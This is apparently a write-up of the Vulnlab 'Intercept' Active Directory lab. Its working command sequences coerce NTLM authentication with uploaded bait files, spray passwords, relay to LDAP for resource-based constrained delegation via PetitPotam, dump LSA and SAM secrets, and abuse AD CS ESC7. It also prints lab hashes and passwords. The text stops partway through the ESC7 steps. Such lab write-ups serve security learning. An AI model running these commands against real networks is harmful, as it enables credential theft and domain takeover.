vulnlab intercept
Intercept is a hard rated chain which contains two machines WS01 and DC01. The chain starts with forced authentication using a file upload to grab a users hash. Using this user we performed the Resourced Based Contrained Delegation (RBCD) WebClient attack to escalate privileges. Finally using ESC7 we elevate privileges to Domain Admin.
.
┌──(puck㉿kali)-[~/vulnlab/intercept] └─$ smbclient -L \\\\ws01.intercept.vl Password for [WORKGROUP\puck]: Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share dev Disk shared developer workspace IPC$ IPC Remote IPC Users Disk Reconnecting with SMB1 for workgroup listing.
or
┌──(puck㉿kali)-[~/vulnlab/intercept] └─$ nxc smb ws01.intercept.vl -u test -p '' --shares SMB 10.10.140.198 445 WS01 [*] Windows 10 / Server 2019 Build 19041 x64 (name:WS01) (domain:intercept.vl) (signing:False) (SMBv1:False) SMB 10.10.140.198 445 WS01 [+] intercept.vl\test: (Guest) SMB 10.10.140.198 445 WS01 [*] Enumerated shares SMB 10.10.140.198 445 WS01 Share Permissions Remark SMB 10.10.140.198 445 WS01 ----- ----------- ------ SMB 10.10.140.198 445 WS01 ADMIN$ Remote Admin SMB 10.10.140.198 445 WS01 C$ Default share SMB 10.10.140.198 445 WS01 dev READ,WRITE shared developer workspace SMB 10.10.140.198 445 WS01 IPC$ READ Remote IPC SMB 10.10.140.198 445 WS01 Users READ
.
Next, I attempted to enumerate SMB shares on DC01 using a blank password with the user test
, but it resulted in a STATUS_LOGON_FAILURE
. No anonymous access here, which means we’ll need valid credentials to proceed further. Since SMB signing is enabled, relay attacks arenot possible there.
Checking smb on WS01
┌──(puck㉿kali)-[~/vulnlab/intercept] └─$ smbclient //ws01.intercept.vl/dev/ Password for [WORKGROUP\puck]: Try "help" to get a list of possible commands. smb: \> ls . D 0 Thu Jun 12 08:45:21 2025 .. D 0 Thu Jun 12 08:45:21 2025 projects D 0 Thu Jun 29 13:57:25 2023 readme.txt A 123 Thu Jun 29 13:44:59 2023 tools D 0 Thu Jun 29 13:51:17 2023 7834107 blocks of size 4096. 1220278 blocks available smb: \> mget * Get file readme.txt? y getting file \readme.txt of size 123 as readme.txt (2.0 KiloBytes/sec) (average 2.0 KiloBytes/sec) smb: \>
$ cat readme.txt
Please check this share regularly for updates to the application (this is a temporary solution until we switch to gitlab).
.
Forcing NTLM Authentication via File Execution
If we can trick the system into authenticating against us, we might get a hash to crack or relay.
To achieve this, I’ll be using NTLMTheft, ntlm_theft is a tool that generates multiple file types capable of triggering authentication requests.
The plan is simple:
1. Generate malicious files with different extensions using NTLMTheft.
2. Upload these files to the dev share.
3. Run Responder on my VPN tunnel IP to intercept any authentication attempts.
Now, let’s generate some files named mav.<extension>
, drop them into /dev, and see what comes knocking on Responder’s door.
.
┌──(puck㉿kali)-[~/vulnlab/intercept/ntlm_theft] └─$ python ntlm_theft.py --generate all --server 10.8.2.138 --filename puck
.
upload files to smb share and capture hashes with smbserver.py/responder
┌──(puck㉿kali)-[~/vulnlab/intercept/ntlm_theft/puck] └─$ smbclient //ws01.intercept.vl/dev/ Password for [WORKGROUP\puck]: Try "help" to get a list of possible commands. smb: \> prompt off smb: \> mput * putting file puck-(stylesheet).xml as \puck-(stylesheet).xml (2.9 kb/s) (average 2.9 kb/s) putting file puck-(externalcell).xlsx as \puck-(externalcell).xlsx (107.9 kb/s) (average 54.9 kb/s) putting file puck.pdf as \puck.pdf (1.0 kb/s) (average 8.0 kb/s) putting file puck-(frameset).docx as \puck-(frameset).docx (24.1 kb/s) (average 13.4 kb/s) putting file puck.m3u as \puck.m3u (0.8 kb/s) (average 12.8 kb/s) putting file puck-(icon).url as \puck-(icon).url (1.9 kb/s) (average 12.4 kb/s) putting file puck-(includepicture).docx as \puck-(includepicture).docx (191.9 kb/s) (average 19.0 kb/s) putting file puck.wax as \puck.wax (0.4 kb/s) (average 17.2 kb/s) putting file puck.htm as \puck.htm (1.8 kb/s) (average 16.8 kb/s) putting file puck.application as \puck.application (32.2 kb/s) (average 17.3 kb/s) putting file puck-(url).url as \puck-(url).url (1.2 kb/s) (average 16.9 kb/s) putting file puck-(fulldocx).xml as \puck-(fulldocx).xml (112.0 kb/s) (average 42.8 kb/s) putting file puck.rtf as \puck.rtf (2.0 kb/s) (average 41.9 kb/s) putting file puck.scf as \puck.scf (1.9 kb/s) (average 41.2 kb/s) putting file desktop.ini as \desktop.ini (0.4 kb/s) (average 39.4 kb/s) putting file Autorun.inf as \Autorun.inf (0.2 kb/s) (average 33.1 kb/s) putting file puck-(remotetemplate).docx as \puck-(remotetemplate).docx (95.4 kb/s) (average 38.2 kb/s) putting file puck.jnlp as \puck.jnlp (4.3 kb/s) (average 37.8 kb/s) putting file puck.lnk as \puck.lnk (42.3 kb/s) (average 37.8 kb/s) putting file zoom-attack-instructions.txt as \zoom-attack-instructions.txt (2.0 kb/s) (average 37.3 kb/s) putting file puck.asx as \puck.asx (0.4 kb/s) (average 33.7 kb/s) smb: \>
Catch the hashes
┌──(puck㉿kali)-[~/vulnlab/intercept] └─$ impacket-smbserver share share -smb2support Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] Config file parsed [*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0 [*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0 [*] Config file parsed [*] Config file parsed [*] Incoming connection (10.10.140.198,52568) [*] AUTHENTICATE_MESSAGE (INTERCEPT\Kathryn.Spencer,WS01) [*] User WS01\Kathryn.Spencer authenticated successfully [*] Kathryn.Spencer::INTERCEPT:aaaaaaaaaaaaaaaa:e0702b1c406f5c94a7588fe49c9d53d6:010100000000000000d84fe967dbdb0146a64db6ebd8de1400000000010010005500660064006c00780050006e007900030010005500660064006c00780050006e00790002001000730074006a007100630064007300780004001000730074006a00710063006400730078000700080000d84fe967dbdb0106000400020000000800300030000000000000000000000000200000e61ec3e00acf13223b249503308f063b7eb794b17d85a0b92bc86b7c421a9ef10a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e0038002e0032002e003100330038000000000000000000
next we crack the hash
The hash identifier for NetNTLMv2 hashes is 5600. You can find this within the hashcat example hashes page.
Now enumerate all the users with ldapsearch
try spraying the password on other domain users
┌──(puck㉿kali)-[~/vulnlab/intercept] └─$ netexec smb ws01.intercept.vl -u allusers.txt -p Chocolate1 --continue-on-success SMB 10.10.140.198 445 WS01 [*] Windows 10 / Server 2019 Build 19041 x64 (name:WS01) (domain:intercept.vl) (signing:False) (SMBv1:False) SMB 10.10.140.198 445 WS01 [-] intercept.vl\Rhys.King:Chocolate1 STATUS_LOGON_FAILURE SMB 10.10.140.198 445 WS01 [+] intercept.vl\Kathryn.Spencer:Chocolate1 SMB 10.10.140.198 445 WS01 [-] intercept.vl\Dale.King:Chocolate1 STATUS_LOGON_FAILURE SMB 10.10.140.198 445 WS01 [-] intercept.vl\Billy.Watson:Chocolate1 STATUS_LOGON_FAILURE SMB 10.10.140.198 445 WS01 [-] intercept.vl\Hayley.Jennings:Chocolate1 STATUS_LOGON_FAILURE SMB 10.10.140.198 445 WS01 [-] intercept.vl\Vincent.Woods:Chocolate1 STATUS_LOGON_FAILURE SMB 10.10.140.198 445 WS01 [-] intercept.vl\Dorothy.Ford:Chocolate1 STATUS_LOGON_FAILURE SMB 10.10.140.198 445 WS01 [-] intercept.vl\Simon.Bowen:Chocolate1 STATUS_LOGON_FAILURE SMB 10.10.140.198 445 WS01 [-] intercept.vl\Reece.Vaughan:Chocolate1 STATUS_LOGON_FAILURE SMB 10.10.140.198 445 WS01 [-] intercept.vl\Louise.Williams:Chocolate1 STATUS_LOGON_FAILURE
But no result,
I also use ldapdomaindump to get some domain info in HTML format
next we do some bloodhound analysis
┌──(puck㉿kali)-[~/vulnlab/intercept] └─$ bloodhound-ce-python -c all --disable-pooling -w 1 -u kathryn.spencer -p 'Chocolate1' -d intercept.vl -dc dc01.intercept.vl -ns 10.10.140.197 --dns-tcp --zip --dns-timeout 120 INFO: BloodHound.py for BloodHound Community Edition INFO: Found AD domain: intercept.vl INFO: Getting TGT for user INFO: Connecting to LDAP server: dc01.intercept.vl INFO: Found 1 domains INFO: Found 1 domains in the forest INFO: Found 2 computers INFO: Connecting to LDAP server: dc01.intercept.vl INFO: Found 14 users INFO: Found 55 groups INFO: Found 2 gpos INFO: Found 4 ous INFO: Found 19 containers INFO: Found 0 trusts INFO: Starting computer enumeration with 1 workers INFO: Querying computer: WS01.intercept.vl INFO: Querying computer: DC01.intercept.vl INFO: Done in 00M 06S INFO: Compressing output into 20250612091538_bloodhound.zip
.
.
Check LDAP signing [ not enforced = default ]
┌──(puck㉿kali)-[~/vulnlab/intercept] └─$ netexec ldap dc01.intercept.vl -u kathryn.spencer -p Chocolate1 -M ldap-checker LDAP 10.10.140.197 389 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:intercept.vl) LDAP 10.10.140.197 389 DC01 [+] intercept.vl\kathryn.spencer:Chocolate1 LDAP-CHE... 10.10.140.197 389 DC01 LDAP signing NOT enforced LDAP-CHE... 10.10.140.197 389 DC01 LDAPS channel binding is set to: Never
Check Machine Quota [ 10 = default ]
┌──(puck㉿kali)-[~/vulnlab/intercept] └─$ netexec ldap dc01.intercept.vl -u kathryn.spencer -p Chocolate1 -M maq LDAP 10.10.140.197 389 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:intercept.vl) LDAP 10.10.140.197 389 DC01 [+] intercept.vl\kathryn.spencer:Chocolate1 MAQ 10.10.140.197 389 DC01 [*] Getting the MachineAccountQuota MAQ 10.10.140.197 389 DC01 MachineAccountQuota: 10
Check WebDAV service is also enabled [ enabled = not default]
┌──(puck㉿kali)-[~/vulnlab/intercept] └─$ nxc smb ws01.intercept.vl -u 'KATHRYN.SPENCER' -p 'Chocolate1' -M webdav SMB 10.10.140.198 445 WS01 [*] Windows 10 / Server 2019 Build 19041 x64 (name:WS01) (domain:intercept.vl) (signing:False) (SMBv1:False) SMB 10.10.140.198 445 WS01 [+] intercept.vl\KATHRYN.SPENCER:Chocolate1 WEBDAV 10.10.140.198 445 WS01 WebClient Service enabled on: 10.10.140.198
.
RBCD WebClient Attack
Now that we know that the WebDAV service is active on WS01, LDAP Signing is disabled on the DC, and we can add machine accounts to the domain, we can abuse these conditions in combination with coerced authentication to escalate privileges. However, when relaying our coercion and add RBCD permissions to WS01 the authenticated connection has to originate from a trusted intranet zone. Luckily for us by default the “Authenticated Users” group can create child objects on the ADIDNS zone.
Check what to use with netexec
┌──(puck㉿kali)-[~/vulnlab/intercept] └─$ nxc smb DC01.intercept.vl -u KATHRYN.SPENCER -p Chocolate1 -M coerce_plus SMB 10.10.140.197 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:intercept.vl) (signing:True) (SMBv1:False) SMB 10.10.140.197 445 DC01 [+] intercept.vl\KATHRYN.SPENCER:Chocolate1 COERCE_PLUS 10.10.140.197 445 DC01 VULNERABLE, DFSCoerce COERCE_PLUS 10.10.140.197 445 DC01 VULNERABLE, PetitPotam COERCE_PLUS 10.10.140.197 445 DC01 VULNERABLE, PrinterBug COERCE_PLUS 10.10.140.197 445 DC01 VULNERABLE, PrinterBug COERCE_PLUS 10.10.140.197 445 DC01 VULNERABLE, MSEven
.
Update DNS Records
┌──(puck㉿kali)-[~/krbrelayx] └─$ python3 dnstool.py -u intercept.vl\\kathryn.spencer -p 'Chocolate1' -r attacker.intercept.vl -a add -d 10.8.2.138 10.10.140.197 [-] Connecting to host... [-] Binding to host [+] Bind OK [-] Adding new record [+] LDAP operation completed successfully
-
- Edit /etc/resolv.conf to add the DC as a nameserver
cat /etc/resolv.conf
# Generated by NetworkManager
nameserver <normal nameserver>
nameserver <normal nameserver IPv6>
nameserver <IP address of the domain controller>
This will instruct our machine to use the domain controller as a fallback nameserver Checking the record with the DC as a NS
nslookup attacker.intercept.vl <Domain Controller IP>
Server: <dc01 IP>
Address: <dc01 IP>#53
Name: attacker.intercept.vl
Address: <Should be the attacker address>
┌──(puck㉿kali)-[~/vulnlab] └─$ nslookup attacker.intercept.vl 10.10.140.197 Server: 10.10.140.197 Address: 10.10.140.197#53 Name: attacker.intercept.vl Address: 10.8.2.138
Up until this point, we have created a DNS entry (which all users in AD can do by default) pointing attacker.intercept.vl
back to the attacker IP, we validated this by querying the name server (usually the domain controller) to ensure our record was updated. In order to coerce HTTP authentication with a tool like PetitPotam or PrinterBug, we need to be able to specify a hostname of our box.
With our DNS records set up its time to setup our relay!
Relay LDAP for RBCD
With our DNS records set up, now we need to create the server that will listen for incoming authentication requests and relay them to the DC
$ sudo $(which ntlmrelayx.py) -t ldap://<dc01 IP> -smb2support --delegate-access
Using ntlmrelayx.py
, we can create a server that waits for authentication
- The
--delegate-access
flag automates the process of performing RBCD - If you wanted, you could manually create a machine account and update the
mdDS-AllowedToActOnBehalfOfOtherIdentity
attribute ofws01$
, but this does it for us 🙂 With the server set up, we need to coerce authentication fromws01$
, luckily it is vulnerable to PetitPotam
petitpotam -u Kathryn.Spencer -p kathryn_password.txt -d intercept.vl 'attacker@80/test' <ws01 IP>
ntlmrelayx
should catch our authentication request and create a new machine account for us
then we can use the dnstool from krbrelayx to create a new DNS record, which is pointing to our IP
┌──(puck㉿kali)-[~/vulnlab/intercept] └─$ python3 ~/krbrelayx/dnstool.py -u 'intercept.vl\KATHRYN.SPENCER' -p Chocolate1 --action add --record attacker.intercept.vl --data 10.8.2.138 --type A 10.10.134.213 [-] Connecting to host... [-] Binding to host [+] Bind OK [-] Adding new record [+] LDAP operation completed successfully
Then we can start a listener with the flag –delegate-access, which will create the new computer for us and active the delegation in one step
sudo impacket-ntlmrelayx -smb2support -t ldap://dc01.intercept.vl --http-port 8080 --delegate-access
┌──(puck㉿kali)-[~/PetitPotam] └─$ sudo impacket-ntlmrelayx -smb2support -t ldap://dc01.intercept.vl --http-port 8080 --delegate-access Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] Protocol Client LDAPS loaded.. [*] Protocol Client LDAP loaded.. [*] Protocol Client SMB loaded.. [*] Protocol Client DCSYNC loaded.. [*] Protocol Client MSSQL loaded.. [*] Protocol Client HTTP loaded.. [*] Protocol Client HTTPS loaded.. [*] Protocol Client IMAP loaded.. [*] Protocol Client IMAPS loaded.. [*] Protocol Client RPC loaded.. [*] Protocol Client SMTP loaded.. [*] Running in relay mode to single host [*] Setting up SMB Server on port 445 [*] Setting up HTTP Server on port 8080 [*] Setting up WCF Server on port 9389 [*] Setting up RAW Server on port 6666 [*] Multirelay disabled [*] Servers started, waiting for connections [*] HTTPD(8080): Client requested path: /testlab.txt/pipe/srvsvc [*] HTTPD(8080): Client requested path: /testlab.txt/pipe/srvsvc [*] HTTPD(8080): Connection from 10.10.134.214 controlled, attacking target ldap://dc01.intercept.vl [*] HTTPD(8080): Client requested path: /testlab.txt/pipe/srvsvc [*] HTTPD(8080): Authenticating against ldap://dc01.intercept.vl as INTERCEPT/WS01$ SUCCEED [*] Enumerating relayed user's privileges. This may take a while on large domains [*] HTTPD(8080): Client requested path: /testlab.txt/pipe/srvsvc [*] HTTPD(8080): Client requested path: /testlab.txt/pipe/srvsvc [*] All targets processed! [*] HTTPD(8080): Connection from 10.10.134.214 controlled, but there are no more targets left! [*] Adding a machine account to the domain requires TLS but ldap:// scheme provided. Switching target to LDAPS via StartTLS [*] Attempting to create computer in: CN=Computers,DC=intercept,DC=vl [*] Adding new computer with username: HJSYIEJR$ and password: bs}Naz}A0gKo>II result: OK [*] Delegation rights modified succesfully! [*] HJSYIEJR$ can now impersonate users on WS01$ via S4U2Proxy
Finally we just need to trigger the authentication via PetitPotam
python PetitPotam.py -u 'Kathryn.Spencer' -p 'Chocolate1' -d intercept.vl 'attacker@8080/testlab.txt' 10.10.134.214
┌──(puck㉿kali)-[~/PetitPotam] └─$ python PetitPotam.py -u 'Kathryn.Spencer' -p 'Chocolate1' -d intercept.vl 'attacker@8080/testlab.txt' 10.10.134.214 /home/puck/PetitPotam/PetitPotam.py:23: SyntaxWarning: invalid escape sequence '\ ' | _ \ ___ | |_ (_) | |_ | _ \ ___ | |_ __ _ _ __ ___ _ _ _ ___ _ | _ \ ___ | |_ (_) | |_ | _ \ ___ | |_ __ _ _ __ | _/ / -_) | _| | | | _| | _/ / _ \ | _| / _` | | ' \ _|_|_ \___| _\__| _|_|_ _\__| _|_|_ \___/ _\__| \__,_| |_|_|_| _| """ |_|"""""|_|"""""|_|"""""|_|"""""|_| """ |_|"""""|_|"""""|_|"""""|_|"""""| "`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-' PoC to elicit machine account authentication via some MS-EFSRPC functions by topotam (@topotam77) Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN Trying pipe lsarpc [-] Connecting to ncacn_np:10.10.134.214[\PIPE\lsarpc] [+] Connected! [+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e [+] Successfully bound! [-] Sending EfsRpcOpenFileRaw! [-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED! [+] OK! Using unpatched function! [-] Sending EfsRpcEncryptFileSrv! [+] Got expected ERROR_BAD_NETPATH exception!! [+] Attack worked!
This will give us the above result
Especially this line is what we are looking for
Adding new computer with username: HJSYIEJR$ and password: bs}Naz}A0gKo>II result: OK
With these new machine account credentials, we can impersonate as admin of our target and retrieve all hashes from the ws01 workstation.
Impersonate
Retrieve the Ticket
impacket-getST -dc-ip dc01 -spn www/ws01 'intercept.vl/EYCBPCVD$:gB4Cq;b!bDP-P^O' -impersonate administrator
┌──(puck㉿kali)-[~/vulnlab/intercept] └─$ impacket-getST -spn 'cifs/ws01.intercept.vl' -impersonate Administrator -dc-ip '10.10.134.213' 'intercept.vl/HJSYIEJR$' Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies Password: bs}Naz}A0gKo>II [-] CCache file is not found. Skipping... [*] Getting TGT for user [*] Impersonating Administrator [*] Requesting S4U2self [*] Requesting S4U2Proxy [*] Saving ticket in Administrator@cifs_ws01.intercept.vl@INTERCEPT.VL.ccache
Then finally we can test authentication to WS01 using the ticket we’ve received.
KRB5CCNAME=Administrator@cifs_ws01.intercept.vl@INTERCEPT.VL.ccache nxc smb ws01.intercept.vl --use-kcache
┌──(puck㉿kali)-[~/vulnlab/intercept]
└─$ KRB5CCNAME=Administrator@cifs_ws01.intercept.vl@INTERCEPT.VL.ccache nxc smb ws01.intercept.vl --use-kcache
SMB ws01.intercept.vl 445 WS01 [*] Windows 10 / Server 2019 Build 19041 x64 (name:WS01) (domain:intercept.vl) (signing:False) (SMBv1:False)
SMB ws01.intercept.vl 445 WS01 [+] intercept.vl\Administrator from ccache (Pwn3d!)
WS01 Post Exploitation
When dumping credentials with the --lsa
flag, I found Simon.Bowen
’s credentials.
┌──(puck㉿kali)-[~/vulnlab/intercept]
└─$ KRB5CCNAME=Administrator@cifs_ws01.intercept.vl@INTERCEPT.VL.ccache nxc smb ws01.intercept.vl --use-kcache --lsa
SMB ws01.intercept.vl 445 WS01 [*] Windows 10 / Server 2019 Build 19041 x64 (name:WS01) (domain:intercept.vl) (signing:False) (SMBv1:False)
SMB ws01.intercept.vl 445 WS01 [+] intercept.vl\Administrator from ccache (Pwn3d!)
SMB ws01.intercept.vl 445 WS01 [+] Dumping LSA secrets
SMB ws01.intercept.vl 445 WS01 INTERCEPT.VL/Simon.Bowen:$DCC2$10240#Simon.Bowen#35e1bb1dbd5f474e21819bb03ae5d103: (2023-06-27 20:07:12)
SMB ws01.intercept.vl 445 WS01 INTERCEPT.VL/Kathryn.Spencer:$DCC2$10240#Kathryn.Spencer#4d8e1b44d30998c82793a9808b959d91: (2023-06-29 11:51:33)
SMB ws01.intercept.vl 445 WS01 INTERCEPT\WS01$:plain_password_hex:bb0cbffead37735da4c0825ac9250e66e33676c8bea7b9ea26420d70af09462ed79b1163fc2db05320f00ab5b668155cb25ade6cde76545dee9b1576038c3381e950972e5755bb76e5b8c6016f118287bd803d069f67447dc0d10b0bdcdc06d86fa5cbb22390b39ea2d98f696a5fbf2002dd808f3b44528e22cbfd219103f19538df9ee76eda616d37a44112a05c84119cc2a7be0d207fa1632310344180b5b87f857e507cd23576cf03a20ece7296382855590fd1e9b56d76bcf0d18103a44949d4d4c005863f13dd9fcfd0843b520a5e37308fa1e945e7686b194a18128eb99052937e481c2595ff683f0f1ef5df2c
SMB ws01.intercept.vl 445 WS01 INTERCEPT\WS01$:aad3b435b51404eeaad3b435b51404ee:24ac5d1eec032de16e5076f0efceb51a:::
SMB ws01.intercept.vl 445 WS01 intercept.vl\Kathryn.Spencer:Chocolate1
SMB ws01.intercept.vl 445 WS01 dpapi_machinekey:0xf6f65580470c139808ab7f0ffb709773d1531dc3
dpapi_userkey:0x24122e60857c28b7f2e6bdd138f22e3e4ddd58f3
SMB ws01.intercept.vl 445 WS01 Simon.Bowen@intercept.vl:b0OI_fHO859+Aw
SMB ws01.intercept.vl 445 WS01 [+] Dumped 7 LSA secrets to /home/puck/.nxc/logs/lsa/WS01_ws01.intercept.vl_2025-06-12_123238.secrets and /home/puck/.nxc/logs/lsa/WS01_ws01.intercept.vl_2025-06-12_123238.cached
Dump the Hashes
┌──(puck㉿kali)-[~/vulnlab/intercept] └─$ export KRB5CCNAME=Administrator@cifs_ws01.intercept.vl@INTERCEPT.VL.ccache ┌──(puck㉿kali)-[~/vulnlab/intercept] └─$ klist Ticket cache: FILE:Administrator@cifs_ws01.intercept.vl@INTERCEPT.VL.ccache Default principal: Administrator@intercept.vl Valid starting Expires Service principal 06/12/2025 12:18:46 06/12/2025 22:18:46 cifs/ws01.intercept.vl@INTERCEPT.VL renew until 06/13/2025 12:18:47 ┌──(puck㉿kali)-[~/vulnlab/intercept] └─$ impacket-secretsdump -k ws01.intercept.vl Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] Service RemoteRegistry is in stopped state [*] Service RemoteRegistry is disabled, enabling it [*] Starting service RemoteRegistry [*] Target system bootKey: 0x04718518c7f81484a5ba5cc7f16ca912 [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:831cbc509daa37aff98250b635e7f482::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:48daaaaa9654c3754d42b40e292ba63f::: [*] Dumping cached domain logon information (domain/username:hash) INTERCEPT.VL/Simon.Bowen:$DCC2$10240#Simon.Bowen#35e1bb1dbd5f474e21819bb03ae5d103: (2023-06-27 20:07:12+00:00) INTERCEPT.VL/Kathryn.Spencer:$DCC2$10240#Kathryn.Spencer#4d8e1b44d30998c82793a9808b959d91: (2023-06-29 11:51:33+00:00) [*] Dumping LSA Secrets [*] $MACHINE.ACC INTERCEPT\WS01$:plain_password_hex:bb0cbffead37735da4c0825ac9250e66e33676c8bea7b9ea26420d70af09462ed79b1163fc2db05320f00ab5b668155cb25ade6cde76545dee9b1576038c3381e950972e5755bb76e5b8c6016f118287bd803d069f67447dc0d10b0bdcdc06d86fa5cbb22390b39ea2d98f696a5fbf2002dd808f3b44528e22cbfd219103f19538df9ee76eda616d37a44112a05c84119cc2a7be0d207fa1632310344180b5b87f857e507cd23576cf03a20ece7296382855590fd1e9b56d76bcf0d18103a44949d4d4c005863f13dd9fcfd0843b520a5e37308fa1e945e7686b194a18128eb99052937e481c2595ff683f0f1ef5df2c INTERCEPT\WS01$:aad3b435b51404eeaad3b435b51404ee:24ac5d1eec032de16e5076f0efceb51a::: [*] DefaultPassword intercept.vl\Kathryn.Spencer:Chocolate1 [*] DPAPI_SYSTEM dpapi_machinekey:0xf6f65580470c139808ab7f0ffb709773d1531dc3 dpapi_userkey:0x24122e60857c28b7f2e6bdd138f22e3e4ddd58f3 [*] NL$KM 0000 4C A8 6F 51 3B B6 E6 22 0B A7 7A FD 4F 32 EA BC L.oQ;.."..z.O2.. 0010 78 7A 98 1E DD 83 F2 70 37 73 9B 6C D0 03 9B 7F xz.....p7s.l.... 0020 FA EA 8D AF A0 84 F9 0D 24 17 3C C9 97 3D 8A E7 ........$.<..=.. 0030 BC EE 5D B7 20 73 02 B7 E1 A7 62 E6 4D 8E F8 ED ..]. s....b.M... NL$KM:4ca86f513bb6e6220ba77afd4f32eabc787a981edd83f27037739b6cd0039b7ffaea8dafa084f90d24173cc9973d8ae7bcee5db7207302b7e1a762e64d8ef8ed [*] _SC_HelpdeskService Simon.Bowen@intercept.vl:b0OI_fHO859+Aw [*] Cleaning up... [*] Stopping service RemoteRegistry [*] Restoring the disabled state for service RemoteRegistry
Now we can login as administrator to the workstation and capture the first flag
┌──(puck㉿kali)-[~/vulnlab/intercept] └─$ evil-winrm -i ws01.intercept.vl -u Administrator -H 831cbc509daa37aff98250b635e7f482 Evil-WinRM shell v3.7 Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Administrator\Documents> hostname WS01 *Evil-WinRM* PS C:\Users\Administrator\Documents> cd .. *Evil-WinRM* PS C:\Users\Administrator> cd desktop *Evil-WinRM* PS C:\Users\Administrator\desktop> ls Directory: C:\Users\Administrator\desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 6/27/2023 1:26 PM 36 flag.txt *Evil-WinRM* PS C:\Users\Administrator\desktop> type flag.txt VL{c2521<redacted>1885}
summary: If all successful, this will force the machine account of ws01
(ws01$
) to send an HTTP authentication request to our ntlmrelayx
server. From here, ntlmrelayx
relay this authentication request to the Domain Controller, authenticate as ws01$
, and update the msDS-AllowedToActOnBehalfOfOtherIdentity
attribute of itself (ws01
) to add the newly created machine account. Since we wrote the new machine account we control into msDS-AllowedToActOnBehalfOfOtherIdentity
of ws01
, we can now perform RBCD to request a Kerberos ticket as any user on ws01
, including the Administrator 🙂
- If this attack chain seems confusing to you, I recommend brushing up on RBCD and LDAP Relaying
Active Directory DACL Abuse Into ESC7 Exploitation
After re-running bloodhound with Simon’s access, I came across an interesting relationship between some of the objects. Simon is in the Helpdesk group, which has GenericAll over a group called ca-managers
. If this group has a purpose descriptive name, then it looks like we have a path to DA (Domain Admin)
Using certipy
to enumerate ADCS, we can see that one of the groups that has the ManageCA
permission is the ca-managers
group, which simon.bowen
has GenericAll
permissions over
┌──(puck㉿kali)-[~/vulnlab/intercept] └─$ certipy-ad find -username 'Simon.Bowen' -password 'b0OI_fHO859+Aw' -vulnerable -dc-ip 10.10.134.213 -stdout Certipy v5.0.2 - by Oliver Lyak (ly4k) [*] Finding certificate templates [*] Found 33 certificate templates [*] Finding certificate authorities [*] Found 1 certificate authority [*] Found 11 enabled certificate templates [*] Finding issuance policies [*] Found 13 issuance policies [*] Found 0 OIDs linked to templates [*] Retrieving CA configuration for 'intercept-DC01-CA' via RRP [!] Failed to connect to remote registry. Service should be starting now. Trying again... [*] Successfully retrieved CA configuration for 'intercept-DC01-CA' [*] Checking web enrollment for CA 'intercept-DC01-CA' @ 'DC01.intercept.vl' [!] Error checking web enrollment: timed out [!] Use -debug to print a stacktrace [!] Error checking web enrollment: timed out [!] Use -debug to print a stacktrace [*] Enumeration output: Certificate Authorities 0 CA Name : intercept-DC01-CA DNS Name : DC01.intercept.vl Certificate Subject : CN=intercept-DC01-CA, DC=intercept, DC=vl Certificate Serial Number : 1872761AC352DC844AC32E94BF4E6A71 Certificate Validity Start : 2023-06-27 13:24:59+00:00 Certificate Validity End : 2125-06-12 10:17:11+00:00 Web Enrollment HTTP Enabled : False HTTPS Enabled : False User Specified SAN : Disabled Request Disposition : Issue Enforce Encryption for Requests : Enabled Active Policy : CertificateAuthority_MicrosoftDefault.Policy Permissions Owner : INTERCEPT.VL\Administrators Access Rights Enroll : INTERCEPT.VL\Authenticated Users ManageCa : INTERCEPT.VL\ca-managers INTERCEPT.VL\Domain Admins INTERCEPT.VL\Enterprise Admins INTERCEPT.VL\Administrators ManageCertificates : INTERCEPT.VL\Domain Admins INTERCEPT.VL\Enterprise Admins INTERCEPT.VL\Administrators Certificate Templates : [!] Could not find any certificate templates
.
Because of the DACL relationship, we can add Simon to the ca-managers
group with:
net rpc group addmem "ca-managers" "Simon.Bowen" -U "INTERCEPT"/"Simon.Bowen"%"b0OI_fHO859+Aw" -S "10.10.239.5"
Now that Simon is in the ca-managers
group, all we’ll need to do is exploit ESC7, because we manage the CA, we can add ourselves as an officer, which will allow us to approve our own certificate requests, including certificate requests that allow us to impersonate the DA.
certipy ca -ca 'intercept-DC01-CA' -add-officer Simon.Bowen -username Simon.Bowen -password 'b0OI_fHO859+Aw' -dc-ip 10.10.239.5
┌──(puck㉿kali)-[~/vulnlab/intercept] └─$ certipy ca -ca 'intercept-DC01-CA' -add-officer Simon.Bowen -username Simon.Bowen -password 'b0OI_fHO859+Aw' -dc-ip 10.10.134.213 Certipy v5.0.2 - by Oliver Lyak (ly4k) [*] Successfully added officer 'Simon.Bowen' on 'intercept-DC01-CA'
Enable the SubCA template – This certificate is configured by default to allow for authentication, therefore we should enable it to be used
